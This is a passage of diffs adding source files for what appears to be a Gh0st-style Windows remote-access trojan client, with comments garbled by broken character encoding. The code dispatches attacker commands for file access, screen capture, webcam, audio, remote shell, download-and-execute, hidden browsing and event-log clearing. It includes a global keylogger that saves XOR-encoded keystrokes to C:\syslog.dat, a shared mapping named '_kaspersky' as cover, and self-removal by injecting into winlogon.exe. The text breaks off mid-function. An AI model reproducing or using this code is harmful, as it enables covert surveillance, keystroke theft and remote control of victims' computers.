//---<2D><><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ÿһ<C3BF>ֹ<EFBFBD><D6B9>ܶ<EFBFBD><DCB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>̺߳<DFB3><CCBA><EFBFBD><EFBFBD><EFBFBD>Ӧת<D3A6><D7AA>Loop_FileManager
// <20><><EFBFBD>ϼ<EFBFBD><CFBC><EFBFBD>
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_ACTIVED:
InterlockedExchange((LONG *)&m_bIsActived, true);
break;
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_AUDIO: // ¼<><C2BC><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SHELL: // Զ<><D4B6>shell-CMD
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_KEYBOARD:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SYSTEM: // <20><><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
Sleep(100);
break;
case COMMAND_WSLIST: // <20><><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_WindowManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
Sleep(100);
break;
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
(LPVOID)(lpBuffer + 1), 0, NULL, true);
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
break;
case COMMAND_SERVICES: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServicesManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_REGEDIT: //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
break;
case COMMAND_REMOVE: // ж<><D0B6>,
UnInstallService();
break;
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
CleanEvent();
break;
case COMMAND_SESSION:
CSystemManager::ShutdownWindows(lpBuffer[1]);
break;
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
break;
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (UpdateServer((char *)lpBuffer + 1))
UnInstallService();
break;
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
}
void CKernelManager::UnInstallService()
{
char strServiceDll[MAX_PATH];
char strRandomFile[MAX_PATH];
GetSystemDirectory(strServiceDll, sizeof(strServiceDll));
lstrcat(strServiceDll, "\\");
lstrcat(strServiceDll, m_strServiceName);
lstrcat(strServiceDll, "ex.dll");
// װ<>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱɾ<CAB1><C9BE>
wsprintf(strRandomFile, "%d.bak", GetTickCount());
MoveFile(strServiceDll, strRandomFile);
MoveFileEx(strRandomFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD>¼<EFBFBD>ļ<EFBFBD>
char strRecordFile[MAX_PATH] = {0};
//GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "C:\\syslog.dat");
DeleteFile(strRecordFile);
char winlogon[] = { 0x0c,0xbc,0xa3,0xa7,0xa4,0xa8,0xa1,0xaa,0xaa,0xed,0xa7,0xb9,0xa5 }; //winlogon.exe
char* winlogon_exe = decodeStr(winlogon); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE><><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
{
//InjectRemoveService(winlogon_exe, m_strServiceName);
InjectRemoveService("winlogon.exe", m_strServiceName);
}
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
{
RemoveService(m_strServiceName);
}
// <20><><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɺ<EFBFBD><C9BA><EFBFBD>֪ͨ<CDA8><D6AA><EFBFBD>߳̿<DFB3><CCBF><EFBFBD><EFBFBD>˳<EFBFBD>
CreateEvent(NULL, true, false, m_strKillEvent);
memset(winlogon_exe, 0, winlogon[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete winlogon_exe;
}
bool CKernelManager::IsActived()
{
return m_bIsActived;
}

View File

@@ -0,0 +1,35 @@
// KernelManager.h: interface for the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_)
#define AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CManager <20><><EFBFBD>ǵ<EFBFBD>CClientSocket<65><74><EFBFBD>õ<EFBFBD> CManager::OnReceive <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>õľ<C3B5><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>OnReceive <20>鿴OnReceive
class CKernelManager : public CManager
{
public:
CKernelManager(CClientSocket *pClient, LPCTSTR lpszServiceName, DWORD dwServiceType, LPCTSTR lpszKillEvent,
LPCTSTR lpszMasterHost, UINT nMasterPort);
virtual ~CKernelManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
char m_strServiceName[256];
char m_strKillEvent[256];
static char m_strMasterHost[256];
static UINT m_nMasterPort;
void UnInstallService();
bool IsActived();
private:
HANDLE m_hThread[10000]; // <20><EFBFBD><E3B9BB><EFBFBD><EFBFBD>
UINT m_nThreadCount;
DWORD m_dwServiceType;
bool m_bIsActived;
};
#endif // !defined(AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_)

View File

@@ -0,0 +1,314 @@
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "KeyboardManager.h"
#pragma comment(lib, "Imm32.lib")
bool g_bSignalHook = false;
TShared* CKeyboardManager::m_pTShared = NULL;
HANDLE CKeyboardManager::m_hMapping_File = NULL;
HINSTANCE CKeyboardManager::g_hInstance = NULL;
DWORD CKeyboardManager::m_dwLastMsgTime = GetTickCount();
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CKeyboardManager::CKeyboardManager(CClientSocket *pClient) : CManager(pClient)
{
g_bSignalHook = true;
sendStartKeyBoard();
WaitForDialogOpen();
sendOfflineRecord();
int dwOffset = m_pTShared->dwOffset;
while (m_pClient->IsRunning())
{
if (m_pTShared->dwOffset != dwOffset)
{
UINT nSize;
if (m_pTShared->dwOffset < dwOffset)
nSize = m_pTShared->dwOffset;
else
nSize = m_pTShared->dwOffset - dwOffset;
sendKeyBoardData((unsigned char *)&(m_pTShared->chKeyBoard[dwOffset]), nSize);
dwOffset = m_pTShared->dwOffset;
}
Sleep(300);
}
if (!m_pTShared->bIsOffline)
g_bSignalHook = false;
}
CKeyboardManager::~CKeyboardManager()
{
}
void CKeyboardManager::SaveToFile(char *lpBuffer)
{
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwBytesWrite = 0;
DWORD dwSize = GetFileSize(hFile, NULL);
// <20><><EFBFBD>߼<EFBFBD>¼<EFBFBD><C2BC>С<EFBFBD><D0A1>50M
if (dwSize < 1024 * 1024 * 50)
SetFilePointer(hFile, 0, 0, FILE_END);
// <20><><EFBFBD><EFBFBD>
int nLength = lstrlen(lpBuffer);
LPBYTE lpEncodeBuffer = new BYTE[nLength];
for (int i = 0; i < nLength; i++)
lpEncodeBuffer[i] = lpBuffer[i] ^ XOR_ENCODE_VALUE;
WriteFile(hFile, lpEncodeBuffer, nLength, &dwBytesWrite, NULL);
CloseHandle(hFile);
delete lpEncodeBuffer;
}
void CKeyboardManager::SaveInfo(char *lpBuffer)
{
if (lpBuffer == NULL)
return;
DWORD dwBytes = strlen(lpBuffer);
if((dwBytes < 1) || (dwBytes > SIZE_IMM_BUFFER)) return;
HWND hWnd = GetActiveWindow();
if(hWnd != m_pTShared->hActWnd)
{
m_pTShared->hActWnd = hWnd;
char strCapText[256];
GetWindowText(m_pTShared->hActWnd, strCapText, sizeof(strCapText));
char strSaveString[1024 * 2];
SYSTEMTIME SysTime;
GetLocalTime(&SysTime);
memset(strSaveString, 0, sizeof(strSaveString));
wsprintf
(
strSaveString,
"\r\n[%02d/%02d/%d %02d:%02d:%02d] (%s)\r\n",
SysTime.wMonth, SysTime.wDay, SysTime.wYear,
SysTime.wHour, SysTime.wMinute, SysTime.wSecond,
strCapText
);
// <20>ú<EFBFBD><C3BA><EFBFBD>Ϊ<EFBFBD><CEAA>Ӧ<EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD>
SaveInfo(strSaveString);
}
if (m_pTShared->bIsOffline)
{
SaveToFile(lpBuffer);
}
// reset
if ((m_pTShared->dwOffset + dwBytes) > sizeof(m_pTShared->chKeyBoard))
{
memset(m_pTShared->chKeyBoard, 0, sizeof(m_pTShared->chKeyBoard));
m_pTShared->dwOffset = 0;
}
lstrcat(m_pTShared->chKeyBoard, lpBuffer);
m_pTShared->dwOffset += dwBytes;
}
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
MSG* pMsg;
char strChar[2];
char KeyName[20];
LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam);
pMsg = (MSG*)(lParam);
// <20><>ֹ<EFBFBD><D6B9>Ϣ<EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD>pMsg->time<6D>ж<EFBFBD>
if (
(nCode != HC_ACTION) ||
((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) ||
(m_dwLastMsgTime == pMsg->time)
)
{
return result;
}
m_dwLastMsgTime = pMsg->time;
if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR))
{
HWND hWnd = pMsg->hwnd;
HIMC hImc = ImmGetContext(hWnd);
LONG strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0);
// <20><><EFBFBD>ǵ<EFBFBD>UNICODE
strLen += sizeof(WCHAR);
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen);
ImmReleaseContext(hWnd, hImc);
SaveInfo(m_pTShared->str);
}
if (pMsg->message == WM_CHAR)
{
if (pMsg->wParam <= 127 && pMsg->wParam >= 20)
{
strChar[0] = pMsg->wParam;
strChar[1] = '\0';
SaveInfo(strChar);
}
else if (pMsg->wParam == VK_RETURN)
{
SaveInfo("\r\n");
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>
else
{
memset(KeyName, 0, sizeof(KeyName));
if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0)
{
KeyName[0] = '[';
lstrcat(KeyName, "]");
SaveInfo(KeyName);
}
}
}
return result;
}
void CKeyboardManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == COMMAND_NEXT)
NotifyDialogIsOpen();
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE)
{
m_pTShared->bIsOffline = !m_pTShared->bIsOffline;
if (!m_pTShared->bIsOffline)
DeleteFile(m_pTShared->strRecordFile);
else if (GetFileAttributes(m_pTShared->strRecordFile) == -1)
{
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
}
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR && m_pTShared->bIsOffline)
{
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
}
bool CKeyboardManager::Initialization()
{
CShareRestrictedSD ShareRestrictedSD;
m_hMapping_File = CreateFileMapping((HANDLE)0xFFFFFFFF, ShareRestrictedSD.GetSA(), PAGE_READWRITE, 0, sizeof(TShared), "_kaspersky");
if (m_hMapping_File == NULL)
return false;
// ע<><D7A2>m_pTShared<65><64><EFBFBD>ܽ<EFBFBD><DCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>, Ҫ<><D2AA>StartHook<6F><6B><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>
m_pTShared = (TShared *)MapViewOfFile(m_hMapping_File, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, 0);
if (m_pTShared == NULL)
return false;
return true;
}
bool CKeyboardManager::StartHook()
{
if (!Initialization())
return false;
ZeroMemory(m_pTShared, sizeof(TShared));
g_bSignalHook = true;
m_dwLastMsgTime = GetTickCount();
m_pTShared->hActWnd = NULL;
m_pTShared->hGetMsgHook = NULL;
m_pTShared->dwOffset = 0;
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
//GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
lstrcat(m_pTShared->strRecordFile, "C:\\syslog.dat");
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3>Ϳ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>߼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
m_pTShared->bIsOffline = true;
else
m_pTShared->bIsOffline = false;
if (m_pTShared->hGetMsgHook == NULL)
{
m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
}
return true;
}
void CKeyboardManager::StopHook()
{
if (m_pTShared->hGetMsgHook != NULL)
UnhookWindowsHookEx(m_pTShared->hGetMsgHook);
m_pTShared->hGetMsgHook = NULL;
UnmapViewOfFile(m_pTShared);
CloseHandle(m_hMapping_File);
m_pTShared = NULL;
}
int CKeyboardManager::sendStartKeyBoard()
{
BYTE bToken[2];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_pTShared->bIsOffline;
return Send((LPBYTE)&bToken[0], sizeof(bToken));
}
int CKeyboardManager::sendKeyBoardData(LPBYTE lpData, UINT nSize)
{
int nRet = -1;
DWORD dwBytesLength = 1 + nSize;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
memcpy(lpBuffer + 1, lpData, nSize);
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
LocalFree(lpBuffer);
return nRet;
}
int CKeyboardManager::sendOfflineRecord()
{
int nRet = 0;
DWORD dwSize = 0;
DWORD dwBytesRead = 0;
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "C:\\syslog.dat");
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
dwSize = GetFileSize(hFile, NULL);
char *lpBuffer = new char[dwSize];
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
// <20><><EFBFBD><EFBFBD>
for (int i = 0; i < dwSize; i++)
lpBuffer[i] ^= XOR_ENCODE_VALUE;
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
delete lpBuffer;
}
CloseHandle(hFile);
return nRet;
}

View File

@@ -0,0 +1,171 @@
// KeyboardManager.h: interface for the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)
#define AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#define SIZE_IMM_BUFFER 128
#define XOR_ENCODE_VALUE 98 // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD>ܵ<EFBFBD>xorֵ
typedef struct
{
DWORD dwOffset;
HHOOK hGetMsgHook;
HWND hActWnd; //current actived window
bool bIsOffline;
char strRecordFile[MAX_PATH];
char chKeyBoard[1024];
char str[SIZE_IMM_BUFFER];
}TShared;
class CShareRestrictedSD
{
public:
CShareRestrictedSD()
{
ptr = NULL;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = &sd;
sa.bInheritHandle = FALSE;
// build a restricted security descriptor
ptr = BuildRestrictedSD(&sd);
}
virtual ~CShareRestrictedSD()
{
if (ptr)
FreeRestrictedSD(ptr);
}
LPVOID BuildRestrictedSD(PSECURITY_DESCRIPTOR pSD)
{
DWORD dwAclLength;
PSID psidEveryone = NULL;
PACL pDACL = NULL;
BOOL bResult = FALSE;
PACCESS_ALLOWED_ACE pACE = NULL;
SID_IDENTIFIER_AUTHORITY siaWorld = SECURITY_WORLD_SID_AUTHORITY ;
SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
__try {
// initialize the security descriptor
if (!InitializeSecurityDescriptor(pSD,
SECURITY_DESCRIPTOR_REVISION)) {
__leave;
}
// obtain a sid for the Authenticated Users Group
if (!AllocateAndInitializeSid(&siaWorld, 1,
SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0,
&psidEveryone)) {
__leave;
}
// NOTE:
//
// The Authenticated Users group includes all user accounts that
// have been successfully authenticated by the system. If access
// must be restricted to a specific user or group other than
// Authenticated Users, the SID can be constructed using the
// LookupAccountSid() API based on a user or group name.
// calculate the DACL length
dwAclLength = sizeof(ACL)
// add space for Authenticated Users group ACE
+ sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD)
+ GetLengthSid(psidEveryone);
// allocate memory for the DACL
pDACL = (PACL) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
dwAclLength);
if (!pDACL) {
__leave;
}
// initialize the DACL
if (!InitializeAcl(pDACL, dwAclLength, ACL_REVISION)) {
__leave;
}
// add the Authenticated Users group ACE to the DACL with
// GENERIC_READ, GENERIC_WRITE, and GENERIC_EXECUTE access
if (!AddAccessAllowedAce(pDACL, ACL_REVISION,
GENERIC_ALL,
psidEveryone)) {
__leave;
}
// set the DACL in the security descriptor
if (!SetSecurityDescriptorDacl(pSD, TRUE, pDACL, FALSE)) {
__leave;
}
bResult = TRUE;
}
__finally {
if (psidEveryone) FreeSid(psidEveryone);
}
if (bResult == FALSE) {
if (pDACL) HeapFree(GetProcessHeap(), 0, pDACL);
pDACL = NULL;
}
return (LPVOID) pDACL;
}
// The following function frees memory allocated in the
// BuildRestrictedSD() function
VOID FreeRestrictedSD(LPVOID ptr)
{
if (ptr) HeapFree(GetProcessHeap(), 0, ptr);
}
SECURITY_ATTRIBUTES* GetSA()
{
if (ptr)
return &sa;
else
return NULL;
}
protected:
LPVOID ptr;
SECURITY_ATTRIBUTES sa;
SECURITY_DESCRIPTOR sd;
};
class CKeyboardManager : public CManager
{
public:
CKeyboardManager(CClientSocket *pClient);
virtual ~CKeyboardManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
static bool StartHook();
static void StopHook();
static bool Initialization();
static HINSTANCE g_hInstance;
static DWORD m_dwLastMsgTime;
static TShared* m_pTShared;
static HANDLE m_hMapping_File;
private:
static LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam);
static void SaveInfo(char *lpBuffer);
static void SaveToFile(char *lpBuffer);
int sendOfflineRecord();
int sendStartKeyBoard();
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
};
#endif // !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)

View File

@@ -0,0 +1,56 @@
// Manager.cpp: implementation of the CManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
//---<2D><>CManager<65><72>ʲôҲû<D2B2><C3BB>ʵ<EFBFBD><CAB5> <20><>ClientSocket main <20><><EFBFBD><EFBFBD>
#include "Manager.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(CClientSocket *pClient)
{
m_pClient = pClient;
m_pClient->setManagerCallBack(this);
/*
bManualReset
[in] Specifies whether a manual-reset or auto-reset event object is created. If TRUE, then you must use the ResetEvent function to manually reset the state to nonsignaled. If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
*/
// <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊtrue,<2C><>ֹϵͳ<CFB5>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>
m_hEventDlgOpen = CreateEvent(NULL, true, false, NULL);
}
CManager::~CManager()
{
CloseHandle(m_hEventDlgOpen);
}
void CManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
}
int CManager::Send(LPBYTE lpData, UINT nSize)
{
int nRet = 0;
try
{
nRet = m_pClient->Send((LPBYTE)lpData, nSize);
}catch(...){};
return nRet;
}
void CManager::WaitForDialogOpen()
{
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep,<2C><>ΪԶ<CEAA>̴<EFBFBD><CCB4>ڴ<EFBFBD>InitDialog<6F>з<EFBFBD><D0B7><EFBFBD>COMMAND_NEXT<58><54><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>Ҫһ<D2AA><D2BB>ʱ<EFBFBD><CAB1>
Sleep(150);
}
void CManager::NotifyDialogIsOpen()
{
SetEvent(m_hEventDlgOpen);
}

View File

@@ -0,0 +1,36 @@
// Manager.h: interface for the CManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)
#define AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <winsock2.h>
#include "../ClientSocket.h"
#include "..\..\..\common\macros.h"
#include "until.h"
#ifdef _CONSOLE
#include <stdio.h>
#endif
class CManager
{
friend class CClientSocket;
typedef int (*SENDPROC)(LPBYTE lpData, UINT nSize);
public:
CManager(CClientSocket *pClient);
virtual ~CManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
int Send(LPBYTE lpData, UINT nSize);
CClientSocket *m_pClient;
HANDLE m_hEventDlgOpen;
void WaitForDialogOpen();
void NotifyDialogIsOpen();
private:
SENDPROC m_pSendProc;
};
#endif // !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)

View File

@@ -0,0 +1,285 @@
#include "..\pch.h"
#include <windows.h>
#include "..\StrCry.h"
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData)
{
int i=0 ;
while(1)
{
if(strnicmp(szData+i," ",1))
break;
i++;
}
return (szData+i);
}
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
{
HKEY hKey;
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
PSID pSystemSid = NULL;
PSID pUserSid = NULL;
SECURITY_DESCRIPTOR sd;
PACL pDacl = NULL;
DWORD dwAclSize;
int iResult = 0;
__try
{
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
__leave;
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
__leave;
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
__leave;
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
if(pDacl == NULL)
__leave;
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
__leave;
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
__leave;
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
__leave;
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
__leave;
iResult =1;
}
__finally
{
